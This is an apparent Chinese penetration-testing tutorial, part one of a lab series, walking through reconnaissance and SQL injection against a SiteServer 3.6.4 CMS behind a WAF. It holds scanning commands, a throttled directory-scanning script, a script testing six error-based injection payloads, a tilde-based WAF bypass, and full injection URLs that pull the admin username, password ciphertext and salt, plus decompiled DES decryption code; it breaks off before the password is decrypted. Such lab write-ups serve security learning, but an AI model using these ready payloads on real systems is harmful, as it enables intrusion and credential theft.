渗透项目之内网靶场实战(一)

信息收集

这里使用netdiscover工具对相同网段的主机进行扫描

netdiscover -i eth0 -r 192.168.101.0/24
image.png

同时也可以使用masscan进行一个简单的快速扫描,要养成一个好习惯:扫描的时候要将线程调低一点,以免触发WAF和防火墙等防御机制

masscan -p 1-65535 192.168.101.224 --rate=100
image.png

尝试访问web网站时,从请求包中可以看到是存在WAF的,并且web容器为IIS

image.png

当在URL上输入敏感字符时,WAF会显示字符已被拦截

image.png

然后使用nmap进行扫描,从扫描结果可以看到,服务器开放了ftp服务,IIS的版本是10.0的,存在一个标题但是httponly并没有开放,操作系统的版本为Windows2016

nmap -A -p 1-65535 -sV 192.168.101.217 -oA result
image.png

既然我们发现了三个可疑目录,那么我们可以尝试分别访问这三个目录

SiteServer:访问页面时发现是一个管理员后台登录界面

image.png

SiteFiles:这个目录为空

image.png

UserCenter:这是一个用户登录页面

image.png

当这些基础信息都收集完成后,那就得进行目录扫描了。因为国内的厂商一般都配备了各种安全设备,如果使用御剑,dirsearch这种工具去扫描的话,被禁止IP的可能性很高,一切要从实战进行考虑。当安全狗开启了抗CC这个功能时,高并发扫描就会被安全狗拦截下来。

image.png

当开启目录扫描时,扫描出很多的结果。但是当去访问时,网页显示的请求过于频繁,已被禁止访问(一般会被禁止10分钟)

dirsearch -u "http://www.moonlab.com/" -x404,500,503 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt
image.png

日志都记录了相关的内容信息
image.png

遇到这种情形,就要使用python进行编写我们的目录扫描工具了,当然如果读者也会使用别的编程语言也没问题,但是python使用较为简单,所以笔者这里使用的是它。

#coding: utf-8

import requests,time

path = input("Please input the path of your directory: ")
with open(path,'r',encoding='utf-8') as readfile:
    for dirs in readfile.readlines():
        url = "http://www.moonlab.com/"+dirs.strip('\n')
        #print(url)
        resp = requests.get(url)
        strlen = len(resp.text)
        print(url+'----------'+str(resp.status_code)+'---len----'+str(strlen))
        time.sleep(0.5)
        if resp.status_code == 200 or resp.status_code == 301 or resp.status_code == 500 or resp.status_code == 403:
        	if strlen == 0 or strlen == 2939:
        		continue
        	else:
        		with open('result.txt','a') as result:
        			result.write(url+'----------'+str(resp.status_code)+'---len----'+str(strlen)+'\n')

将目录扫描完毕后,那么就要对已知的网页进行漏洞利用了

Web漏洞利用

刚刚看到SiteServer管理员页面时,发现系统版本: 3.6.4,.NET 版本: 2.0,那么上搜索引擎上发现它是存在一个SQL注入的

image.png

找到了一个w9scan的扫描器,里面包含了siteserver的利用脚本,经过反复查阅发现2739.py这个python脚本是包含了sql注入利用的

image.png

将python里面的代码修改一下,方便查阅那个payload是可以正常使用的

#!/usr/bin/evn python
#-*-:coding:utf-8 -*-
#Author:404
#Name:siteserver最新版3.6.4 sql inject漏洞大礼包of 1
#Refer:http://www.wooyun.org/corps/%E7%99%BE%E5%AE%B9%E5%8D%83%E5%9F%9F%E8%BD%AF%E4%BB%B6%E6%8A%80%E6%9C%AF%E5%BC%80%E5%8F%91%E6%9C%89%E9%99%90%E8%B4%A3%E4%BB%BB%E5%85%AC%E5%8F%B8/page/2

import requests

ps=[
    'siteserver/service/background_taskLog.aspx?Keyword=test%%27%20and%20convert(int,(char(71)%2Bchar(65)%2Bchar(79)%2Bchar(74)%2Bchar(73)%2B@@version))=1%20and%202=%271&DateFrom=&DateTo=&IsSuccess=All',
    'usercenter/platform/user.aspx?UnLock=sdfe%27&UserNameCollection=test%27)%20and%20char(71)%2Bchar(65)%2Bchar(79)%2Bchar(74)%2Bchar(73)%2B@@version=2;%20--',
    'siteserver/bbs/background_keywordsFilting.aspx?grade=0&categoryid=0&keyword=test%27%20and%20char(71)%2Bchar(65)%2Bchar(79)%2Bchar(74)%2Bchar(73)%2B@@version=1%20and%202=%271',
    'siteserver/userRole/background_administrator.aspx?RoleName=%27%20and%20char(71)%2Bchar(65)%2Bchar(79)%2Bchar(74)%2Bchar(73)%2B@@version=1%20and%201=%271&PageNum=0&Keyword=test&AreaID=0&LastActivityDate=0&Order=UserName',
    'siteserver/userRole/background_user.aspx?PageNum=0&Keyword=%27%20and%20char(71)%2Bchar(65)%2Bchar(79)%2Bchar(74)%2Bchar(73)%2B@@version=1%20and%201=%27&CreateDate=0&LastActivityDate=0&TypeID=0&DepartmentID=0&AreaID=0',
    'siteserver/bbs/background_thread.aspx?UserName=test&Title=%27%20and%201=char(71)%2Bchar(65)%2Bchar(79)%2Bchar(74)%2Bchar(73)%2B@@version%20and%201=%27&DateFrom=&DateTo=&ForumID=0',
    ]
for p in ps:
    url='http://www.moonlab.com/'+p
    html = requests.get(url)
    if html.status_code==500 and "GAOJIMicrosoft" in html.text:
        print(url)
        print(html.text)

结果显示这个payload可以正常使用http://www.moonlab.com/usercenter/platform/user.aspx?UnLock=sdfe%27&UserNameCollection=test%27)%20and%20char(71)%2Bchar(65)%2Bchar(79)%2Bchar(74)%2Bchar(73)%2B@@version=2;%20--,这是一个报错注入的payload

image.png

访问这条语句时,它显示了数据库对应的版本信息

image.png

但是当修改URL语句想要得到数据库名时,就被WAF给拦截掉了

http://www.moonlab.com/usercenter/platform/user.aspx?UnLock=sdfe'&UserNameCollection=test'%29%20and%20char%2871%29+char%2865%29+char%2879%29+char%2874%29+char%2873%29+db_name=2;%20--
image.png

绕过WAF防护设备

显然这样直接输入SQL注入语句是会被拦截的,但是可以采用~这个符号对WAF防火墙进行绕过,这是下面的具体payload语句,查看的是数据库对应的用户名

http://www.moonlab.com/usercenter/platform/user.aspx?UnLock=sdfe'&UserNameCollection=test'%29%20and%20+user=~2;%20--
image.png

那知道数据库名后,就去尝试能否注入相应的表出来。方法的话也是挺复杂的,必须本地使用数据库搭建一个siteserver,然后查看里面的查询语句,我这边已经搭建完成了,bairong_Administrator表的查询语句如下。从中得到了具体都有哪些字段名

SELECT TOP 1000 [UserName]
      ,[Password]
      ,[PasswordFormat]
      ,[PasswordSalt]
      ,[CreationDate]
      ,[LastActivityDate]
      ,[LastModuleID]
      ,[CountOfLogin]
      ,[CreatorUserName]
      ,[IsChecked]
      ,[IsLockedOut]
      ,[PublishmentSystemID]
      ,[DepartmentID]
      ,[AreaID]
      ,[DisplayName]
      ,[Question]
      ,[Answer]
      ,[Email]
      ,[Mobile]
      ,[Theme]
      ,[Language]
  FROM [msmoonlab].[msmoonlab].[bairong_Administrator]

尝试构造SQL注入利用语句,构造之前要在前面加个括号,表示是使用子查询的方式,但是还是被拦截了

http://www.moonlab.com/usercenter/platform/user.aspx?UnLock=sdfe'&UserNameCollection=test'%29%20and%20+%28select%20top%201%20username%20from%20bairong_Administrator%29=~2;%20--
image.png

在数据库查询时是可以正常进行的,尝试对数据库名做一下更改,还是不行

http://www.moonlab.com/usercenter/platform/user.aspx?UnLock=sdfe'&UserNameCollection=test'%29%20and%20+%28select%20top%201%20username%20from%20%5Bmsmoonlab%5D.%5Bmsmoonlab%5D.%5Bbairong_Administrator%5D%29=~2;%20--
image.png

最后我们将~2这个值放到前面去,可以显示对应的用户名称为admin

http://www.moonlab.com/usercenter/platform/user.aspx?UnLock=sdfe'&UserNameCollection=test'%29%20and%20+~2=%28select%20top%201%20username%20from%20%5Bmsmoonlab%5D.%5Bmsmoonlab%5D.%5Bbairong_Administrator%5D%29;%20--
image.png

接着可以注入对应的密码值,得到它的密文64Cic1ERUP9n2OzxuKl9Tw==

http://www.moonlab.com/usercenter/platform/user.aspx?UnLock=sdfe'&UserNameCollection=test'%29%20and%20+~2=%28select%20top%201%20password%20from%20%5Bmsmoonlab%5D.%5Bmsmoonlab%5D.%5Bbairong_Administrator%5D%29;%20--
image.png

因为只得到密文,但是不知道加密方式的话,那对解密来说工作量是相当大的,所以也要对加密类型进行注入。注入得到的是Encrypted对称加密

http://www.moonlab.com/usercenter/platform/user.aspx?UnLock=sdfe'&UserNameCollection=test'%29%20and%20+~2=%28select%20top%201%20PasswordFormat%20from%20%5Bmsmoonlab%5D.%5Bmsmoonlab%5D.%5Bbairong_Administrator%5D%29;%20--
image.png

拿到加密方式后,进一步猜测它是base64(Encrypted('明文值',salt))这种方式进行加密的,那么可以把盐值注入出来,得到盐值LIywB/zHFDTuEA1LU53Opg==

http://www.moonlab.com/usercenter/platform/user.aspx?UnLock=sdfe'&UserNameCollection=test'%29%20and%20+~2=%28select%20top%201%20PasswordSalt%20from%20%5Bmsmoonlab%5D.%5Bmsmoonlab%5D.%5Bbairong_Administrator%5D%29;%20--
image.png

反编译dll和解密密文

得到密码后,但是并不清楚具体的加密方式(上面的只是猜测的),可以尝试去登录页面看看个究竟,发现是个login.aspx页面,去login.aspx文件上看看具体指向那些内容,它第一行指向的是BaiRong.BackgroundPages文件的FrameworkLogin这个方法

image.png

在bin目录下找到了这个文件,可以使用dnSpy这个工具对其反编译,找到对应的FrameworkLogin这个模块,但是并没有找到想要的信息

image.png

当在搜索框中搜索Encrypted字符时,看到了想要的信息,可以定位到那里

image.png

定位到这个方法里,右键点击分析,然后点击被使用,可以看到被调用的方法。并且找到了DesDecrypt方法

public void DesDecrypt()
		{
			byte[] rgbIV = new byte[]
			{
				18,
				52,
				86,
				120,
				144,
				171,
				205,
				239
			};
			byte[] array = new byte[this.x3c811436980dcf17.Length];
			try
			{
				byte[] bytes = Encoding.UTF8.GetBytes(this.x6d0b493f217f133b.Substring(0, 8));
				DESCryptoServiceProvider descryptoServiceProvider = new DESCryptoServiceProvider();
				array = Convert.FromBase64String(this.x3c811436980dcf17);
				MemoryStream memoryStream = new MemoryStream();
				if (!false)
				{
				}
				CryptoStream cryptoStream = new CryptoStream(memoryStream, descryptoServiceProvider.CreateDecryptor(bytes, rgbIV), CryptoStreamMode.Write);
				cryptoStream.Write(array, 0, array.Length);
				cryptoStream.FlushFinalBlock();
				Encoding encoding = new UTF8Encoding();
				this.xc7d800b8a71773fd = encoding.GetString(memoryStream.ToArray());
			}
			catch (Exception ex)
			{
				this.x456956327593d9f6 = ex.Message;
			}
		}

未完待续……

本文作者:scriptkiddle, 转载请注明来自FreeBuf.COM

© 版权声明
THE END
喜欢就支持一下吧
点赞9赏点小钱 分享